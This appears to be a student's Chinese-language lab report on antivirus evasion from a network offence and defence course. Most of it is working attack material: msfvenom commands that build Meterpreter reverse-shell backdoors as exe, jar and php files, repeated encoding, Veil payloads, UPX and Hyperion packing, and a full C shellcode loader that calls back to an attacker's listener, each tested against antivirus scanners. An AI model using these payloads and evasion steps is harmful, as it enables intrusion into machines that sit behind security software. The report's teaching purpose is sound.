zoukankan      html  css  js  c++  java
  • 2019-2020-2 网络对抗技术 20172327 Exp3 免杀原理与实践

    1. 实践基础

    1.1 什么是恶意代码检测机制和免杀原理?

    1.1.1 免杀原理


    免杀技术,全称为反杀毒技术(Anti Anti-Virus),是指对恶意软件的处理让其能够不被杀毒软件所检测,同时也是渗透测试中需要使用到的技术。

    1.1.2 恶意代码检测机制


    基于特征码的检测:

    • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。


    启发式恶意软件检测:

    • 启发式Heuristic,简单来说,就是根据些片面特征去推断,通常是因为缺乏精确判定依据。
    • 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
    • 优点:可以检测0-day恶意软件、具有一定通用性
    • 缺点:实时监控系统行为,开销稍多;没有居于特征码的精确度高


    基于行为的恶意软件检测:

    • 可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。

    1.1.3 免杀技术综述

    一.入口点加1免杀法:

    • 1.用到工具PEditor
    • 2.特点:非常简单实用,但有时还会被卡巴查杀]
    • 3.操作要点:用PEditor打开无壳木马程序,把原入口点加1即可

    二.变化入口地址免杀法:

    • 1.用到工具:OllyDbg,PEditor
    • 2.特点:操作也比较容易,而且免杀效果比入口点加1点要佳.
    • 3.操作要点:用OD载入无壳的木马程序,把入口点的前二句移到零区域去执行,然后又跳回到入口点的下面第三句继续执行.最后用PEditor把入口点改成零区域的地址.

    三.加花指令法免杀法:

    • 1.用到工具:OllyDbg,PEditor
    • 2.特点:免杀通用性非常好,加了花指令后,就基本达到大量杀毒软件的免杀.
    • 3.操作要点:用OD打开无壳的木马程序,找到零区域,把我们准备好的花指令填进去填好后又跳回到入口点,保存好后,再用PEditor把入口点改成零区域处填入花指令的着地址.

    四.加壳或加伪装壳免杀法:

    • 1.用到工具:一些冷门壳,或加伪装壳的工具,比如木马彩衣等.
    • 2.特点:操作简单化,但免杀的时间不长,可能很快被杀,也很难躲过卡巴的追杀
    • 3.操作要点:为了达到更好的免杀效果可采用多重加壳,或加了壳后在加伪装壳的免杀效果更佳

    五.打乱壳的头文件或壳中加花免杀法:

    • 1.用到工具:秘密行动 ,UPX加壳工具.
    • 2.特点:操作也是傻瓜化,免杀效果也正当不错,特别对卡巴的免杀效果非常好
    • 3.操作要点:首先一定要把没加过壳的木马程序用UPX加层壳,然后用秘密行动这款工具中的SCramble功能进行把UPX壳的头文件打乱,从而达到免杀效果.

    六.修改文件特征码免杀法:

    • 1.用到工具:特征码定位器,OllyDbg
    • 2.特点:操作较复杂,要定位修改一系列过程,而且只针对每种杀毒软件的免杀,要达到多种杀毒软件的免杀,必需修改各种杀毒软件的特征码.但免杀效果好

    1.2 基础问题回答

    杀软是如何检测出恶意代码的?


    基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。

    启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

    基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。

    免杀是做什么?


    使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。

    免杀的基本方法有哪些?


    改变特征码的技术:

    加壳、使用encode进行编码、基于payload重新编译生成可执行文件、使用其他语言重写再编译



    改变行为的技术:

    尽量使用反弹式连接,使用隧道技术,加密通讯数据;基于内存操作,减少对系统修改,加入混淆作用的正常功能代码



    非常规技术:

    使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工制作恶意软件

    开启杀软能绝对防止电脑中恶意代码吗?


    并不一定,在这个实验过程中,通过加壳的操作有时候也能够骗过杀毒软件的查杀。所以杀毒软件也并不是万能的,偶尔也会出现一些漏杀,不过总体来说还是比较安全可靠的。

    2. 实践内容

    2.1 学习正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、 使用C + shellcode编程以及课堂其他课堂为介绍方法

    2.1.1 正确使用msf编码器,生成exe文件

    使用msfvenom加基本反弹链接载荷生成exe文件:

    • 1.查看主机IP地址:192.168.0.105
    • 2.使用msfvenom生成20172327-backdoor.exe文件
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=2327 -f exe > 20172327-backdoor.exe
    

    • 用VirusTotal、Virscan两个网站进行恶意软件检测。
      使用VirusTotal的检测结果如下:

    使用Vircan的检测结果如下:
    不知为什么exe文件传不上去,所以我之后就没再用这个检测。

    • 由此可见,直接生成的exe文件能够被大部分杀毒软件识别,免杀性较低
    • 一次编码:-e选择编码器,-b是payload中需要清除的字符,该命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符。
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.0.105 LPORT=2327 -f exe > 20172327-backdoor-1code.exe
    

    • 使用VirusTotal检测截图:

    • 十次编码:使用-i设置迭代次数

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.0.105 LPORT=2327 -f exe > 20172327-backdoor-10code.exe
    

    • 使用VirusTotal检测截图:

    • 经过上述操作,我们发现编码的次数对于免杀没有任何帮助,为什么呢?


    <1> shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。

    <2> msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码侦测,这样就能解决所有msfvenom生成的恶意代码了。

    2.1.2 msfvenom生成jar文件

    • 生成jar后门程序
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=2327 x> 20172327_backdoor_java.jar
    

    • 使用VirusTotal检测截图:

    2.1.3 msfvenom生成php文件

    • 生成php后门程序
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=2327 x> 20172327_backdoor_PHP.php
    

    • 使用VirusTotal检测截图:

    如图所示,只有3家杀毒软件可以识别

    2.1.4 使用veil-evasion生成后门程序及检测

    • 安装veil
    第一步:sudo apt-get install veil
    第二步:veil(继续安装,输y)
    
    

    • 当你看到出现这句话和这样的界面就证明安装成功了。

    • 安装成功后输入veil指令进入(以管理员权限进入)

    • 输入use evasion命令进入veil-evasion

    • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

    • 设置反弹连接IP地址(kali的IP)set LHOST 192.168.0.255,端口:set LPORT 2327

    输入generate生成文件,接着输入你想要payload的名字:20172327-c-veil

    • 按照生成路径找到文件并上传测试

    2.1.5 使用加壳工具尝试

    • 加壳,是一种通过一些列数学运算,将可执行文件或动态链接库文件的编码进行改变,以达到缩小文件体积或加密程序编码的目的。当被加壳的程序运行时,外科程序仙贝执行,然后由这个外壳程序负责将用户原有的程序在内存中解压缩。

    • 常用方法有“UPX”、“北斗程序压缩”、“ASPack”等,在此,我将使用“UPX”方法

    • 输入upx 20172327-backdoor.exe -o mrf_upxed.exe,将以前使用的文件20172327-backdoor.exe加壳得到加壳后文件mrf_upxed.exe

    • 运行之后被判断为威胁,将其加入白名单方便测试反弹连接:

    • 使用实验二方法,来测试:

    • 按照生成路径找到文件并上传测试

    • 使用加密壳:Hyperion

    • 将文件mrf_upxed.exe拷贝到hyperion所在目录

    • 通过命令wine hyperion.exe -v mrf_upxed.exe mrf_upxed_Hyperion.exe进行二次加壳

    • 同理进行反弹连接,但不知为什么就是连不上

    • 按照生成路径找到文件并上传测试

    2.1.6 使用C+shellcode编程

    • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=2327 -f c生成一段shellcode。

    • 用vim创建一个文件20172327.c,然后将unsigned char buf[]赋值到其中,代码如下:

    unsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
    "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
    "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
    "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
    "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
    "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
    "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
    "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
    "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
    "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
    "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x00x6d"
    "x68x02x00x09x17x89xe6x50x50x50x50x40x50x40x50"
    "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
    "x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
    "x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
    "xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
    "x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
    "x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
    "x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
    "x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
    "x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    
    • 输入i686-w64-mingw32-g++ 20172327.c -o 20172327.exe编译

    • 按照生成路径找到文件并上传测试

    2.1.7 使用其他方法完成免杀

    • 启动veil,用list查看有效载荷:

    • 选择第30个荷载: use 30 (Phython下shellcode在ARC下加密的一种)

    • 用 generate 生成,shellcode平台选择2-msfvenom,payloads、IP用Tab自动获取。

    • 输入回连的相关信息

    • 按照生成路径找到文件并上传测试

    2.2 通过组合应用各种技术实现恶意代码免杀

    (1)简述免杀原理:使用C+shellcode,然后将shellcode转化为hex,并且使用ScRunHex.py与python运行hex码,避免了杀软扫描到ScRunHex.exe的特征码,而同时使用了不同的编码方式混淆,让杀软晕头转向。

    2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 使用Msfvenom生成raw格式的shellcode:
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.0.109 lport=2327 -f raw -o 20172327.raw 
    
    • 打开msfconsole进行监听:

    • 在本机测试

    • 未发现病毒

    • 另一台正常开启杀软的Windows命令提示符输入 shellcode_launcher.exe -i 20172327.raw
      windows 自带defender发现了问题

    4.1.3 总结与体会

    • 通过本次实验,了解了很多种方法,也知道了工作原理,对以后的学习会有很多的帮助。在做实验的过程中,我遇到了很多问题,也耗费了大量的时间去修改,调试,收获颇丰。
  • 相关阅读:
    时间和时间戳的转换
    遍历Map的四种方法
    MyEclipse2015Stable3.0破解方法
    java 解压缩Zip文件 ziputil
    java Lock
    javaCountDownLatch闭锁
    JavaNIO非阻塞模式
    JavaNIO阻塞IO添加服务器反馈
    JavaNIO阻塞IO
    java三级考试理论题
  • 原文地址:https://www.cnblogs.com/mrf1209/p/12630180.html
Copyright © 2011-2022 走看看